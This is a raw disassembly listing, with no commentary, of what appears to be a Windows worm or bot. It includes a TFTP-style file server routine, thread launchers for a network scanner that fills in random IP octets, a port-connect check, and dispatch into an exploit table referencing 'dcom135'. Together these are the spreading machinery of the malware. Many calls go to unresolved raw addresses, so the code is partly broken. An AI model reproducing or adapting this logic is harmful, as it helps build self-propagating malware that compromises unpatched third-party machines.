		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 2610F41h
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop

loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		nop
		call	near ptr 2610F41h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------

loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		nop
		call	near ptr 2610F41h
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 26102D3h

loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h

loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43AD80
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_436EDC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43AD70
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC

loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------

loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax

loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43ADFC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------

loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43ADFC

loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4

loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43AE30
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		call	near ptr 2610F41h
		nop
		push	esi

loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8

loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi

loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_436F18[eax*8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------

loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_438F34
		push	104h
		push	edi
		push	ebx
		mov	dword_439144, eax
		mov	dword_439140, ebx
		nop
		call	near ptr 2660000h
		push	103h
		mov	esi, offset dword_439038
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_438F30, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4391C8, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------

loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, ebx

loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_439144
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43913C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438F30
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, dword_43913C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40738E

loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_4391D0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------

loc_40738E:				; CODE XREF: sub_407252+128j
		nop
		call	near ptr 265031Fh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43958C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_439798, ebx
		nop
		call	near ptr 2660000h
		push	103h
		mov	esi, offset dword_439690
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439588, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439820, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------

loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, ebx

loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43979C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439794, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439588
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, dword_439794
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4074B2

loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_439828, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_40749C
; ---------------------------------------------------------------------------

loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------

loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_439464
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl

loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43957C, ebx
		mov	dword_439568, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4391DC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4391D8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439568
		mov	dword_439574, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439578, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439570, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4391D8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA6h
		mov	ecx, dword_439570
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4075BA

loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_439584, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------

loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_42B1C8

loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:436F18h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43ACCC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43AD94
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------

loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax

loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax

loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax

loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C

loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_436F18[ecx*8], eax

loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43AD80
		push	esi
		mov	edi, eax
		call	dword_43AE30
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2610763h
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4407F4[ebx]
		cmp	dword_436F1C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------

loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6

loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4407F4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4405F0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_438F18
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]

loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h

loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_438F18
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]

loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 2610F41h
		jmp	loc_4077AE
; ---------------------------------------------------------------------------

loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		nop
		call	near ptr 26102D3h
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
